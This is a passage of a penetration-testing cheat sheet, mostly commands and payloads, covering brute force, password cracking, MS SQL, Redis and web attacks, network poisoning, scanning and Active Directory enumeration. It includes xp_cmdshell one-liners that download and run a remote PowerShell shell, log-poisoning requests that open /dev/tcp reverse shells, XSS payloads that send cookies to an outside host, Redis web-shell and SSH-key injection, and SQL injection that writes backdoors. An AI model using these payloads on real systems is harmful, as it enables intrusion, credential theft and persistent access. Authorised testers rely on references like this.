Invoke-RunAs
PS > Invoke-RunAs -UserName snovvcrash -Password 'Passw0rd!' -Domain MEGACORP -Cmd cmd.exe -Arguments "/c ping -n 1 10.10.13.37"
Invoke-CommandAs
PS > . .\Invoke-ScheduledTask.ps1
PS > . .\Invoke-CommandAs.ps1
PS > Invoke-CommandAs -ScriptBlock {whoami} -AsUser $cred
RunasCs
$ rlwrap nc -lvnp 1337
PS > Invoke-RunasCs -Username snovvcrash -Password 'Passw0rd!' -Domain megacorp.local -Command powershell.exe -Remote 10.10.13.37:1337

Auth Brute Force

Hydra

$ hydra -V -t 20 -f -I -L logins.lst -P /usr/share/john/password.lst 127.0.0.1 -s 8888 smtp
$ hydra -V -t 20 -f -I -l admin -P /usr/share/john/password.lst 127.0.0.1 -s 8888 ftp

Patator

$ patator smtp_login host=127.0.0.1 port=8888 user=FILE0 password=FILE1 0=logins.lst 1=/usr/share/john/password.lst -x ignore:mesg='(515) incorrect password or account name' -x free=user:code=0
$ patator ftp_login host=127.0.0.1 port=8888 user=admin password=FILE0 0=/usr/share/john/password.lst -x ignore:mesg='Login incorrect.' -x free=user:code=0

Password Brute Force

hashcat

$ hashcat --example-hashes | grep -B1 -i md5
$ hashcat -m 500 hashes/file.hash /usr/share/wordlists/rockyou.txt --username
$ hashcat -m 500 hashes/file.hash --username --show

Benchmarks:

$ nvidia-smi.exe

# MD5
$ ./hashcat64.exe -m 0 -b
# NTLM
$ ./hashcat64.exe -m 1000 -b
Единица хэшрейта Хэшрейт Хэши в секунду
1kH/s 1000 Тысяча
1MH/s 1000000 Одинмиллион
1GH/s 1000000000 Одинмиллиард
1TH/s 1.000.000.000.000 Одинтриллион
1PH/s 1.000.000.000.000.000 Одинквадриллион
1EH/s 1.000.000.000.000.000.000 Одинквинтиллион
1ZH/s 1.000.000.000.000.000.000.000 Одинсекстиллион

DBMS

MySQL/MariaDB

$ mysql -u snovvcrash -p'Passw0rd!' -e 'show databases;'

Oracle

TNS Poison

Nmap

$ sudo wget https://gist.githubusercontent.com/JukArkadiy/3d6cff222d1b87e963e7/raw/fbe6fe17a9bca6ce839544b7afb2276fff061d46/oracle-tns-poison.nse -O /usr/share/nmap/scripts/oracle-tns-poison.nse
$ sudo nmap -v -n -Pn -sV --script=oracle-tns-poison.nse -oA CVE-2014-0160/nmap/tns-poison -p1521 10.10.13.37

odat

Install manually:

$ git clone https://github.com/quentinhardy/odat ~/tools/odat && cd ~/tools/odat
$ git submodule init && git submodule update
$ sudo apt install libaio1 python3-dev alien python3-pip
$ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-basic-19.6.0.0.0-1.x86_64.rpm
$ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-devel-19.6.0.0.0-1.x86_64.rpm
$ sudo alien --to-deb *.rpm
$ sudo dpkg -i *.deb
$ vi /etc/profile
...
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
export PATH=${ORACLE_HOME}bin:$PATH
...
$ pip3 install cx_Oracle
$ python3 odat.py -h

Usage:

$ python3 odat.py tnspoison -s 10.10.13.37 -d CLREXTPROC --test-module
$ python3 odat.py tnspoison -s 10.10.13.37 -d CLREXTPROC --poison

MS SQL

Enable xp_cmdshell

1> EXEC sp_configure 'show advanced options', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> xp_cmdshell 'whoami'
2> GO

sqsh

$ sqsh -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'
1> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.234/shell.ps1')"
2> GO

mssqlclient.py

$ mssqlclient.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 [-windows-auth]
SQL> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.234/shell.ps1\")"

mssql-cli

$ python -m pip install mssql-cli
$ mssql-cli -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'

DBeaver

DbVisualizer

SQLite

SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%';
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='secret_database';
SELECT username,password FROM secret_database;

Redis

Preparation

Install [1] or [2]:

$ mkdir ~/tools/redis-cli-go && cd ~/tools/redis-cli-go
$ wget [1] -O redis-cli-go && chmod +x redis-cli-go
$ ln -s ~/tools/redis-cli-go/redis-cli-go /usr/local/bin/redis-cli-go && cd -
  1. github.com/holys/redis-cli/releases
  2. github.com/antirez/redis

Check if vulnarable:

$ nc 127.0.0.1 6379
Escape character is '^]'.
echo "Hey, no AUTH required!"
$21
Hey, no AUTH required!
quit
+OK
Connection closed by foreign host.

Web Shell

$ redis-cli -h 127.0.0.1 flushall
$ redis-cli -h 127.0.0.1 set pwn '<?php system($_REQUEST['cmd']); ?>'
$ redis-cli -h 127.0.0.1 config set dbfilename shell.php
$ redis-cli -h 127.0.0.1 config set dir /var/www/html/
$ redis-cli -h 127.0.0.1 save

Inject SSH PubKey

$ ssh-keygen -t ecdsa -s 521 -f key
$ (echo -e "\n\n"; cat key.pub; echo -e "\n\n") > key.txt
$ redis-cli -h 127.0.0.1 flushall
$ cat foo.txt | redis-cli -h 127.0.0.1 -x set pwn
$ redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
$ redis-cli -h 127.0.0.1 config set dir /var/lib/redis/.ssh
$ redis-cli -h 127.0.0.1 save

1C

Web

LFI/RFI

PHP RFI with SMB

/etc/samba/smb.conf:

log level = 3
[share]
        comment = TEMP
        path = /tmp/smb
        writable = no
        guest ok = yes
        guest only = yes
        read only = yes
        browsable = yes
        directory mode = 0555
        force user = nobody

$ chmod 0555 /tmp/smb
$ chown -R nobody:nogroup /tmp/smb
$ service smbd restart
$ tail -f /var/log/samba/log.<HOSTNAME>

Log Poisoning

PHP

Access log (needs single ' instead of double "):

$ nc 127.0.0.1 80
GET /<?php system($_GET['cmd']); ?>

$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//access.log&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'
Or
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//1&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'

Error log:

$ curl -X POST 'http://127.0.0.1/vuln1.php' --form "userfile=@docx/sample.docx" --form 'submit=Generate pdf' --referer 'http://nowhere.com/<?php system($_GET["cmd"]); ?>'
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//error.log&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'
Or
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//2&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'

SQLi

sqlmap

Write file:

$ sqlmap -r request.req --batch --file-write=./backdoor.php --file-dest=C:/Inetpub/wwwroot/backdoor.php

Test WAF:

$ sqlmap.py -u 'https://127.0.0.1/index.php' --data='{"id":"*"}' -p id --identify-waf --tamper='between,randomcase,space2comment' --random-agent --tor --check-tor --thread=1 -b --batch -v6

DIOS

MySQL:

id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (information_schema.columns) WHERE (@a) IN (@a:=concat(@a,'<font color=red>',table_schema,'</font>',' ::: ','<font color=green>',table_name,'</font>','<br>'))))a);-- -

SELECT (@a) FROM (
	SELECT(@a:=0x00), (
		SELECT (@a) FROM (information_schema.schemata)
		WHERE (@a) IN (@a:=concat(@a,schema_name,'\n'))
	)
) foo

id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (mytable.users) WHERE (@a) IN (@a:=concat(@a,':::',id,':::',login,':::',password)) AND is_admin='1'))a);-- -

Truncation Attack

POST /index.php HTTP/1.1
Host: 127.0.0.1

name=snovvcrash&email=admin%example.com++++++++++11&password=qwe12345

Commas blocked by WAF

id=-1' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from mysql.innodb_table_stats)b ON 1=1#

Write File

id=1' UNION ALL SELECT 1,2,3,4,"<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>",6 INTO OUTFILE 'C:\\Inetpub\\wwwroot\\backdoor.php';#

Read File

id=1' UNION ALL SELECT LOAD_FILE('c:\\xampp\\htdocs\\admin\\db.php'),2,3-- -

XSS

Redirections

<head> 
  <meta http-equiv="refresh" content="0; URL=http://www.example.com/" />
</head>

Data Grabbers

Cookies

Img tag:

<img src="x" onerror="this.src='http://10.10.15.123/?c='+btoa(document.cookie)">

Fetch:

<script>
fetch('https://<SESSION>.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>

XMLHttpRequest

XSS to LFI

<script>
var xhr = new XMLHttpRequest;
xhr.onload = function() {
	document.write(this.responseText);
};
xhr.open("GET", "file:///etc/passwd");
xhr.send();
</script>
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText);};x.open("GET","file:///etc/passwd");x.send();</script>

XSS to CSRF

If the endpoint is accessible only from localhost:

<script>
var xhr;
if (window.XMLHttpRequest) {
	xhr = new XMLHttpRequest();
} else {
	xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.open("POST", "/backdoor.php");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("cmd=powershell -nop -exec bypass -f  \\\\10.10.15.123\\share\\rev.ps1");
</script>

With capturing CSRF token first:

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('GET', '/email', true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('POST', '/email/change-email', true);
    changeReq.send('csrf='+token+'&[email protected]')
};
</script>

Web Security Academy

Upgrade Burp

Extensions

BApp Store:

GitHub:

Unsorted

$ gobuster dir -u 'http://127.0.0.1' -w /usr/share/wordlists/dirbuster/directory-list[-lowercase]-2.3-medium.txt -x php,asp,aspx,jsp,ini,config,cfg,xml,htm,html,json,bak,txt -t 50 -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0' -s 200,204,301,302,307,401 -o gobuster/127.0.0.1
$ nikto -h http://127.0.0.1 -Cgidirs all

RE

Ghidra

Download through Tor:

Install:

$ mv /opt/tor-browser/Browser/Downloads/ghidra*.zip ~/tools
$ cd ~/tools && unzip ghidra*.zip && rm ghidra*.zip && mv ghidra* ghidra && cd -
$ sudo apt install openjdk-11-jdk

Engagement

$ cd ~/workspace/
$ mkdir -p discover/{nmap,masscan} enum/bloodhound/bloodhound.py loot/ log/ screenshots/ shells/ tickets/ traffic/

Network Config

$ ifconfig eth0
$ route -n
$ cat /etc/resolve.conf
$ arp -a

Network Attacks

Sniff Traffic

tcpdump

While connected via SSH:

$ tcpdump -i eth0 -w dump.pcap -s0 'not tcp port 22' &

Wireshark

Filters

Broadcast/multicast, IPv6 packets:

ssdp || arp || llmnr || nbns || mdns || icmpv6 || dhcpv6

Arpspoof:

(http || ftp || smb || smb2 || ldap) && ip.src == VICTIM_10.0.0.5

LLMNR/NBNS Poisoning

Responder

$ git clone https://github.com/lgandx/Responder
$ sudo ./Responder.py -I eth0 -wfrd -P -v

$ head -n 1 logs/*.txt | grep -v -e logs -e '^$' -e anonymous | sort -u -t: -k1,1 > ~/workspace/loot/net-ntlmv2.responder
$ sort -u -t: -k1,1 ~/workspace/loot/net-ntlmv2.responder >> ~/workspace/loot/net-ntlmv2.txt && rm ~/workspace/loot/net-ntlmv2.responder

Inveigh

PS > Invoke-Inveigh [-IP '10.10.13.37'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y
InveighZero
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]

ARP Spoofing

Enable IP forwarding:

$ sudo sysctl -w net.ipv4.ip_forward=1
(sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward')
(edit /etc/sysctl.conf "net.ipv4.ip_forward = 1" to make it permanent)

dsniff [arpspoof]

Install:

$ sudo apt install dsniff -y

Fire up the attack with Wireshark (filter ip.src == VICTIM_10.0.0.5) running:

$ sudo arpspoof -c both -t VICTIM_10.0.0.5 GATEWAY_10.0.0.1

bettercap

Deb dependencies (Ubuntu 18.04 LTS):

DHCPv6 Spoofing

mitm6

Install:

$ git clone https://github.com/fox-it/mitm6 ~/tools/mitm6 && cd ~/tools/mitm6
$ python3 setup.py install
Or
$ pipx install "git+https://github.com/fox-it/mitm6.git" -f

Run:

$ sudo smbserver.py -smb2support share `pwd` | tee -a ~/workspace/log/mitm6-smbserver.out
$ sudo mitm6.py -i eth0 -d megacorp.local --ignore-nofqdn

$ cat ~/workspace/log/mitm6-smbserver.out | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaaaaaaa | cut -c 5- | grep -v '\$' > ~/workspace/loot/net-ntlmv2.mitm6
$ sort -u -t: -k1,1 ~/workspace/loot/net-ntlmv2.mitm6 >> ~/workspace/loot/net-ntlmv2.txt && rm ~/workspace/loot/net-ntlmv2.mitm6

$ cat ~/workspace/log/mitm6-smbserver.out | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaaaaaaa | grep '\$' | cut -c 5- | sort -u -t: -k1,1
Attack vectors

Grab hashes with smbserver.py (passive):

  1. mitm6.py poisons IPv6 DNS entries for all hosts in the /24 network.
  2. Victims start to use attacker's machine as the primary DNS server.
  3. mitm6.py on the attacker's machine acts like a rogue DNS server and responds with the attacker's IP for all incoming queries.
  4. smbserver.py collects hashes during SMB requests from victims.

Relay authentication with ntlmrelayx.py (active):

  1. mitm6.py poisons IPv6 DNS entries for all hosts in the /24 network.
  2. Victims start to use attacker's machine as the primary DNS server.
  3. mitm6.py on the attacker's machine acts like a rogue DNS server, ntlmrelayx.py serves a malicious WPAD file with an inexistent hostname (which will be resolved to the attacker's IP anyway) and acts like a rogue proxy server and mitm6.py responds with the attacker's IP for all the incoming DNS queries.
  4. Victims grab the WPAD file and ask the rogue IPv6 DNS server (attacker's machine) to resolve its location - resolved to attacker's machine.
  5. Victims go to the rogue proxy server and there ntlmrelayx.py responses with HTTP 407 Proxy Authentication.

Host Discovery

ARP

arp-scan

Active:

$ arp-scan -l [-s <SPOOFED_IP>] -v
$ arp-scan -I eth0 192.168.0.0/24

netdiscover

Passive:

$ netdiscover -i eth0 -r 192.168.0.0/24 -p

Active, sending 20 requests per IP:

$ netdiscover -i eth0 -r 192.168.0.0/24 -c 20

Hunting for Subnets

Take 10.0.0.0/8 as an example:

$ nmap -n -sn 10.0-255.0-255.1 -oA subnets/gateways -PE --min-rate 10000 --min-hostgroup 10000
$ grep 'Up' subnets/gateways.gnmap |cut -d' ' -f2 > subnets/ranges.txt

$ sed -i subnets/ranges.txt -e 's/$/\/24/'

Ping Sweep

Bash:

$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 $NET.$i > /dev/null && echo "$NET.$i" |tee -a hosts/pingsweep.txt &); done
Or
$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 "$NET.$i" |grep 'bytes from' |cut -d' ' -f4 |cut -d':' -f1 |tee -a hosts/pingsweep.txt &); done

$ sort -u -t'.' -k4,4n hosts/pingsweep.txt > hosts/targets.txt && rm hosts/pingsweep.txt

PowerShell:

PS > $NET="192.168.0";for($i=1;$i -lt 255;$i++){$command="ping -n 1 -w 100 $NET.$i > nul 2>&1 && echo $NET.$i";start-process -nonewwindow "cmd" -argumentlist "/c $command" -redirectstandardoutput "tmp$i.txt"};cat tmp*.txt > sweep.txt
PS > rm tmp*.txt

Nmap:

$ nmap -n -sn -iL subnets/ranges.txt -oA hosts/pingsweep -PE
$ grep 'Up' hosts/pingsweep.gnmap |cut -d' ' -f2 |sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n > hosts/targets.txt

RMI Sweep

Remote Management Interfaces:

Port Service
22 SSH
3389 RDP
2222 SSH?
5900 VNC
5985 WinRM
5986 WinRM over SSL/TLS

Nmap:

$ nmap -n -Pn -iL subnets/ranges.txt -oA hosts/rmisweep -p22,3389,2222,5985,5986 [--min-rate 1280 --min-hostgroup 256]
$ grep 'open' hosts/rmisweep.gnmap |cut -d' ' -f2 |sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n >> hosts/targets.txt

Invoke-Portscan.ps1:

PS > Invoke-Portscan -Hosts 127.0.0.0/24 -sn -noProgressMeter
PS > Invoke-Portscan -Hosts 127.0.0.0/24 -T 4 -TopPorts 25 -oA top25

Services

Nmap XML Parsers

parsenmap.rb:

$ git clone https://github.com/R3dy/parsenmap-rb ~/tools/parsenmap-rb && cd ~/tools/parsenmap-rb
$ bundle install && ln -s ~/tools/parsenmap-rb/parsenmap.rb /usr/local/bin/parsenmap.rb && cd -
$ parsenmap.rb --help

nmaptocsv:

$ git clone https://github.com/maaaaz/nmaptocsv ~/tools/nmaptocsv && cd ~/tools/nmaptocsv
$ python3 -m pip install -r requirements.txt csvkit && ln -s ~/tools/nmaptocsv/nmaptocsv.py /usr/local/bin/nmaptocsv.py && cd -
$ nmaptocsv.py --help

parsenmap.py:

$ wget https://github.com/snovvcrash/cheatsheets/raw/master/tools/parsenmap.py -O ~/tools/parsenmap-py/parsenmap.py && chmod +x ~/tools/parsenmap-py/parsenmap.py
$ ln -s ~/tools/parsenmap-py/parsenmap.py /usr/local/bin/parsenmap.py

Ports (Quick)

Echo:

$ IP="0.0.0.0"; for p in $(seq 1 65535); do (timeout 1 bash -c "echo '.' >/dev/tcp/$IP/$port && echo OPEN:$port" >> hosts/ports.txt &) 2>/dev/null; done
$ sort -u -t':' -k1,1n hosts/ports.txt > hosts/echo-ports.txt && rm hosts/ports.txt

Netcat:

$ seq 1 65535|xargs -n 1|xargs -P 0 -I {} nc -nv -z -w1 0.0.0.0 {} 2>&1| grep -vE "timed out|now in progress|Connection refused"

Nmap:

$ nmap -n -Pn -iL hosts/targets.txt -oA services/?-top-ports [--top-ports ? -T4 --min-rate 1280 --min-hostgroup 256]
$ grep 'open' services/?-top-ports.gnmap
$ parsenmap.rb services/?-top-ports.xml
$ nmaptocsv.py -x services/?-top-ports.xml -d',' -f ip-fqdn-port-protocol-service-version-os |csvlook -I

$ nmap -n -Pn -iL hosts/targets.txt -oA services/quick-sweep -p22,25,53,80,443,445,1433,3306,3389,5800,5900,8080,8443 [-T4 --min-rate 1280 --min-hostgroup 256]
$ grep 'open' services/quick-sweep.gnmap
$ parsenmap.rb services/quick-sweep.xml
$ nmaptocsv.py -x services/quick-sweep.xml -d',' -f ip-fqdn-port-protocol-service-version-os |csvlook -I

Ports (Full)

$ nmap -n -Pn -sV -sC -iL hosts/targets.txt -oA services/alltcp-versions -p0-65535 --min-rate 50000 --min-hostgroup 256

Define which NSE scripts ran:

$ grep '|_' services/alltcp-versions.nmap |cut -d'_' -f2 |cut -d' ' -f1 |sort -u |grep ':'

Look at HTTP titles:

$ grep -i 'http-title' services/alltcp-versions.nmap

Examine version scan:

$ parsenmap.rb services/alltcp-versions.xml > services/alltcp-versions.csv
Or
nmaptocsv.py -x services/alltcp-versions.xml -d',' -f ip-fqdn-port-protocol-service-version-os > services/alltcp-versions.csv

Split version scan by service names:

$ parsenmap.py -i services/alltcp-versions.xml

Tricks

Grep only numbers to get list of ports separated by comma:

$ cat nmap/initial.nmap |egrep -o '^[0-9]{1,5}' |awk -F/ '{ print $1 }' ORS=','; echo

Fast port discovery (Masscan) + versions and NSE scripts (Nmap):

$ masscan --rate=1000 -e tun0 -p0-65535,U:0-65535 127.0.0.1 > ports
$ ports=`cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr "\n" ',' | sed 's/,$//'`
$ nmap -n -Pn -sV -sC [-sT] [--reason] -oA nmap/output 127.0.0.1 -p$ports
$ rm ports

Fast port discovery (Nmap) + versions and NSE scripts (Nmap):

$ nmap -n -Pn --min-rate=1000 -T4 127.0.0.1 -p- -vvv | tee ports
$ ports=`cat ports | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed 's/,$//'`
$ nmap -n -Pn -sV -sC [-sT] [--reason] -oA nmap/output 127.0.0.1 -p$ports
$ rm ports

Top TCP ports:

Port Service
21 FTP
22 SSH
23 Telnet
25 SMTP
53 DNS
80 HTTP
88 KDC
111 SUNRPC
135 MSRPC
137 NetBIOS
139 SMB
389 LDAP
443 SSL/TLS
445 SMB
464 KPASSWD
593 HTTP RPC Endpoint Mapper
636 LDAP over SSL/TLS
873 RSYNC
1099 JavaRMI
1433 MSSQL
1521 Oracle
2049 NFS
3268 Microsoft Global Catalog
3269 Microsoft Global Catalog
3306 MySQL/MariaDB
3389 RDP
4786 Cisco Smart Install
5432 PostgreSQL
5555 HP Data Protector
5900 VNC
5985 WinRM
5986 WinRM over SSL/TLS
6379 Redis
8080 HTTP
8443 SSL/TLS
9389 Active Directory Web Services
9200 Elasticsearch
27017 MongoDB

Top UDP ports:

Port Service
53 DNS
67 DHCP
68 DHCP
69 TFTP
88 KDC
123 NTP
137 NetBIOS
161 SNMP
162 SNMPTRAP
500 IKE
3391 RD Gateway 
$ sudo masscan --rate=500 --open -p21,22,23,25,53,80,88,111,135,137,139,161,389,443,445,464,500,593,636,873,1099,1433,1521,2049,3268,3269,3306,3389,4786,5432,5555,5900,5985,5986,6379,8080,9389,9200,27017,U:161,U:500 -iL routes.txt --resume paused.conf >> masscan.out
$ mkdir services && for p in 21 22 23 25 53 80 88 111 135 137 139 161 389 443 445 464 500 593 636 873 1099 1433 1521 2049 3268 3269 3306 3389 4786 5432 5555 5900 5985 5986 6379 8080 9389 9200 27017; do grep "port $p/tcp" masscan.out | awk -F' ' '{print $6}' | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n > "services/port$p.txt"; done

Nmap

Flag -A:

$ nmap -A ... == nmap -sC -sV -O --traceroute ...

Enum WAF:

$ nmap --script http-waf-detect 127.0.0.1 -p80
$ nmap --script http-waf-fingerprint 127.0.0.1 -p80
+ wafw00f.py

AD Environment Names

Discover domain NetBIOS name:

PS > ([ADSI]"LDAP://megacorp.local").dc

PS > $DomainName = (Get-ADDomain).DNSRoot
PS > (Get-ADDomain -Server $DomainName).NetBIOSName

Discover DCs' FQDN names:

PS > nslookup -type=all _ldap._tcp.dc._msdcs.$env:userdnsdomain

PS > $ldapFilter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
PS > $searcher = [ADSISearcher]$ldapFilter
PS > $searcher.FindAll()
PS > $searcher.FindAll() | ForEach-Object { $_.GetDirectoryEntry() }
Or
PS > ([ADSISearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").FindAll() |ForEach-Object { $_.GetDirectoryEntry() }

PS > [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().DomainControllers.Name

Cmd > nltest /dsgetdc:megacorp.local

PS > $DomainName = (Get-ADDomain).DNSRoot
PS > $AllDCs = Get-ADDomainController -Filter * -Server $DomainName | Select-Object Hostname,Ipv4address,isglobalcatalog,site,forest,operatingsystem

PS > $AllDCs = (Get-ADForest).GlobalCatalogs

PowerView3 > Get-DomainController | Select Name,IPAddress

Discover global catalog:

PS > Get-ADDomainController -Discover -Service "GlobalCatalog"

Discover MS Exchnage servers' FQDN names:

PS > Discover-PSMSExchangeServers | Select ServerName,Description | Tee-Object exch.txt

Discover MS SQL servers' FQDN names:

PS > Discover-PSMSSQLServers | Select ServerName,Description | Tee-Object mssql.txt

NetBIOS Scanning

nbname (MSF)

msf > use auxiliary/scanner/netbios/nbname

LHF Checkers & Exploits

net_api

CVE-2008-4250, MS08-067

Check

msf > use exploit/windows/smb/ms08_067_netapi
msf > check

Exploit

msf > use exploit/windows/smb/ms08_067_netapi
msf > exploit

EternalBlue

CVE-2017-0144, MS17-010

Check

msf > use auxiliary/scanner/smb/smb_ms17_010

Exploit

msf > exploit/windows/smb/ms17_010_eternalblue

BlueKeep

CVE-2019-0708

Check

msf > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep_rce

Exploit

msf > exploit/windows/rdp/cve_2019_0708_bluekeep_rce

Generate Wordlists

hashcat

Potentially valid usernames, John Doe as an example:

$ cat << EOF >> passwords.txt
johndoe
jdoe
j.doe
doe
EOF

Common usernames:

$ cat << EOF >> passwords.txt
admin
administrator
root
guest
sa
changeme
password
EOF

Common patterns:

$ cat << EOF >> passwords.txt
January
February
March
April
May
June
July
August
September
October
November
December
Autumn
Fall
Spring
Winter
Summer
password
Password
P@ssw0rd
secret
Secret
S3cret
EOF

Add year and exclamation point to the end of each password:

$ for i in $(cat passwords.txt); do echo "${i}"; echo "${i}\!"; echo "${i}2020"; echo "${i}2020\!"; done > t
$ cp t passwords.txt

Mutate the wordlist with hashcat rules:

$ hashcat --force --stdout passwords.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles1.rule |sort -u |awk 'length($0) > 7' > t
$ cp t passwords.txt

kwprocessor

$ ./kwp basechars/full.base keymaps/en-us.keymap routes/2-to-16-max-3-direction-changes.route > passwords.txt

cewl

$ cewl -d 5 -m 5 -w passwords.txt --with-numbers --email_file emails.txt http://megacorp.local/somedir/logs/html/index.htm

Tools

rpcclient

$ rpcclient -U '' -N 127.0.0.1
$ rpcclient -U 'snovvcrash%Passw0rd!' 127.0.0.1

rpcclient $> enumdomusers
rpcclient $> enumdomgroups

enum4linux

$ enum4linux -v -a 127.0.0.1 | tee enum4linux.txt

nullinux

$ git clone https://github.com/m8r0wn/nullinux ~/tools/nullinux && cd ~/tools/nullinux && sudo bash setup.sh && ln -s ~/tools/nullinux/nullinux.py /usr/local/bin/nullinux.py && cd -
$ nullinux.py 127.0.0.1

kerbrute

$ ./kerbrute -v --delay 100 -d megacorp.local -o kerbrute-passwordspray-123456.log passwordspray users.txt '123456'

DomainPasswordSpray

PS > Invoke-DomainPasswordSpray -UserList .\users.txt -Domain megacorp.local -Password 'Passw0rd!' -OutFile spray-results.txt

crowbar

RDP

$ crowbar -b rdp -s 192.168.1.0/24 -u snovvcrash -c 'Passw0rd!' -l ~/workspace/log/crowbar.log -o ~/workspace/log/crowbar.out

impacket

$ git clone https://github.com/SecureAuthCorp/impacket ~/tools/impacket && cd ~/tools/impacket
$ pipenv install -r requirements.txt && pipenv shell
(impacket) $ pip install .
(impacket) $ python examples/psexec.py

lookupsid.py

$ lookupsid.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 20000 | tee ~/workspace/log/lookupsid.out
$ cat ~/workspace/log/lookupsid.out | grep SidTypeUser | grep -v '\$' | awk -F'\' '{print $2}' | awk '{print $1}' > ~/workspace/enum/allusers.txt

adidnsdump

$ cd ~/workspace/enum/
$ adidnsdump -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.megacorp.local
$ mv records.csv adidnsdump.csv

CrackMapExec

Install bleeding-edge:

$ git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec ~/tools/CrackMapExec && cd ~/tools/CrackMapExec
$ pipenv install && pipenv shell
(CrackMapExec) $ python setup.py install
(CrackMapExec) $ sudo ln -s /home/snovvcrash/.virtualenvs/CrackMapExec/bin/crackmapexec /usr/bin/CME
(CrackMapExec) $ CME smb 127.0.0.1 -u 'anonymous' -p ''
Or
$ pipx install crackmapexec
$ pipx run crackmapexec smb 127.0.0.1 -u 'anonymous' -p ''

Use:

$ cme smb 127.0.0.1
$ cme smb 127.0.0.1 -u anonymous -p '' --shares
$ cme smb 127.0.0.1 -u snovvcrash -p /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
$ cme smb 127.0.0.1 -u nullinux_users.txt -p 'Passw0rd!' --shares [--continue-on-success]
$ cme smb 127.0.0.1 -u snovvcrash -p 'Passw0rd!' --spider-folder 'E\$' --pattern s3cret
$ cme smb 127.0.0.1 -u j.doe -p 'Passw0rd!' -d 'CORP' --spider Users --pattern '.'
$ cme smb 127.0.0.1 -u snovvcrash -p '' --local-auth --sam
$ cme smb 127.0.0.1 -u snovvcrash -p '' -M spider_plus
$ cme smb 127.0.0.1 -u snovvcrash -p '' -M mimikatz
$ cme smb 127.0.0.1 -u snovvcrash -p '' -M lsassy

Empire

Install:

$ git clone https://github.com/BC-SECURITY/Empire ~/tools/Empire && cd ~/tools/Empire
$ sudo STAGING_KEY=`echo 'H4ckTh3Pl4net!' | md5sum | cut -d' ' -f1` ./setup/install.sh
$ sudo poetry install
$ echo $'#!/usr/bin/env bash\n\nsudo poetry run python empire' > ~/tools/Empire/run_empire.sh
$ chmod +x ~/tools/Empire/run_empire.sh

Pwsh launcher string:

